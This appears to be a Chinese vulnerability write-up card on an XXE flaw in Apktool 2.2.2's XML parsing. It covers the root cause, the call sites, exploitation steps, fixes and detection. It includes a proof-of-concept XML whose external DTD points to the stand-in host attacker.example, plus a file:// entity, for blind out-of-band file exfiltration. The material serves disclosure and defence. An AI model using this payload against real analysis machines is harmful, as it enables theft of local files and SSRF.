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Apktool XML 解析 XXE:loadDocument 未禁用 DOCTYPE/外部实体,解析恶意 AndroidManifest/strings.xml 时读取本地文件并外带

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一句话结论

Apktool 2.2.2 的 loadDocument 直接用 DocumentBuilderFactory.newInstance().newDocumentBuilder().parse() 解析 XML,没有禁用 DOCTYPE 与外部实体;恶意 XML(AndroidManifest.xml 或 res/values/strings.xml)被 fixingPublicAttrsInProviderAttributes/pullValueFromStrings 解析时,分析机就会请求攻击者控制的 DTD/实体地址(DNS/HTTP 外带),并可进一步用 file:// 实体读取本地文件——攻击面是"逆向工具打开不可信样本"。

原理

  • 默认不安全的解析器:Java DocumentBuilderFactory 默认允许 DOCTYPE 声明与外部通用/参数实体。loadDocument(File) 只 newInstance() 后直接 parse(file),未设置 disallow-doctype-decl、load-external-dtd,也未限制 ACCESS_EXTERNAL_DTD/SCHEMA。
  • 调用点:ResXmlPatcher.fixingPublicAttrsInProviderAttributes(manifest) 在 build 流程解析解码后的 AndroidManifest.xml(image 01);ResXmlPatcher.pullValueFromStrings 在拼装版本名等资源时解析 res/values/strings.xml(image 02,thinkycx 博文归纳的"新攻击面 strings.xml")。两者都走同一个未加固的 loadDocument。
  • 触发效果:XML 里的 <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker/dtd"> %dtd; %all; %send; ]> 会让解析器访问外部 DTD 并展开实体;<!ENTITY xxe SYSTEM "file:///c:/secret"> 可把本地文件内容替换进文档,配合外部 DTD 把内容拼进请求 URL 外带(盲 XXE OOB)。文章用 dnslog 构造恶意 XML 测试,记录到 b5g7im.dnslog.cn 的多次 DNS 查询(image 03),证明解析器确实发起了外部实体请求。
  • 修复:loadDocument 增加 docFactory.setFeature(FEATURE_DISABLE_DOCTYPE_DECL, true)、setFeature(FEATURE_LOAD_DTD, false)(关闭 DOCTYPE 与外部 DTD),并 setAttribute(ACCESS_EXTERNAL_DTD, " ")、ACCESS_EXTERNAL_SCHEMA, " "(JAXP 1.5+ 禁止外部 DTD/Schema 访问)。
  • 投递限制(原文实测):build 方向要恶意 XML 留在待构建项目里;decode 方向则需要 DTD 存在于 APK 内的 XML 中——文章尝试用 010 Editor 直接改 resources.arsc 里 strings.xml 的字符串池,因资源表字符串并非按文件连续分布且 APK 重打包会重建资源表,最终没有构造出稳定可投递的恶意 APK(image 04-06),因此"完整攻击链"只到解析器触发外带这一步。

触发条件

  • 使用未修复(2.2.2 及同代)Apktool 处理攻击者控制的 XML/项目/APK。
  • XML 解析路径能拿到含 DOCTYPE/外部实体的内容:AndroidManifest.xml(apktool b 时 fixingPublicAttrsInProviderAttributes)或 res/values/strings.xml(pullValueFromStrings);decode 路径只有在 APK 资源表里保留 DTD 字符串时才成立。
  • 分析机可出网访问攻击者 DTD 服务,或本地文件可被 file:// 实体读取。
  • 分析环境未做网络隔离/沙箱(否则外带受限,但本地读取/SSRF 仍可能成立)。

利用步骤

  1. 准备带外部实体的 XML,例如在 AndroidManifest.xml/strings.xml 中加入 DOCTYPE 与参数实体,外部 DTD 指向攻击者 HTTP 服务(文章用 dnslog 验证)。
  2. 让目标使用未修复 Apktool 触发解析:build 方向把恶意 XML 放进项目执行 apktool b;decode 方向构造资源表中带该字符串的 APK。
  3. 观察 DNS/HTTP 回连(外带通道),或在外部 DTD 中定义读取本地文件的实体并拼进回连 URL。
  4. 从回连内容/后续请求中提取敏感文件内容;也可用实体探测内网服务(SSRF)。

PoC

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % dtd SYSTEM "http://attacker.example/dtd">
  %dtd;
  %all;
  %send;
]>
<resources>
  <string name="app_name">My Application</string>
  <string name="test">aaaa</string>
</resources>

外部 DTD(attacker.example/dtd)按盲 XXE 模板定义 %all; 读取 file:/// 目标文件并拼接到 %send; 的 HTTP 请求中。原文用 deflate/DNS 日志验证了外部实体请求确实发出(image 03),但完整"恶意 APK → decode 触发"投递未成功,故本 PoC 仅为载荷形态示意,未在本机执行。

变体与关联

  • 变体:把恶意 XML 放在构建项目而非 APK 内(build 时解析);用通用实体 + 外部 DTD 组合做文件读取而非仅盲外带;同一类"逆向/分析工具解析不可信样本导致 XXE"在其它 Android 工具上同样存在。
  • 关联卡片:[[tools-jadx-xxe-xmlsecurity-not-used-manifest-parser]](JADX 同类 XXE:XmlSecurity 已实现但 parseXml 未调用)、[[tools-apktool-unknownfiles-decode-path-traversal-arbitrary-write]](同工具另一处不可信输入处理缺陷)。

检测与防御

  • 升级/加固:使用禁用 DOCTYPE 与外部 DTD/Schema 的修复版 Apktool;同类自研工具统一走安全 XML 工厂(disallow-doctype-decl=true、关闭外部实体)。
  • 运行环境:逆向分析不可信样本时断网/限制出网、在沙箱与低权限账户下运行,避免读取本机敏感文件与外带。
  • 检测:分析工具进程发起指向非常见域名的 DNS/HTTP 请求;XML 样本中出现 <!DOCTYPE/<!ENTITY/SYSTEM 组合;文件访问审计发现分析工具读取与其功能无关的敏感路径。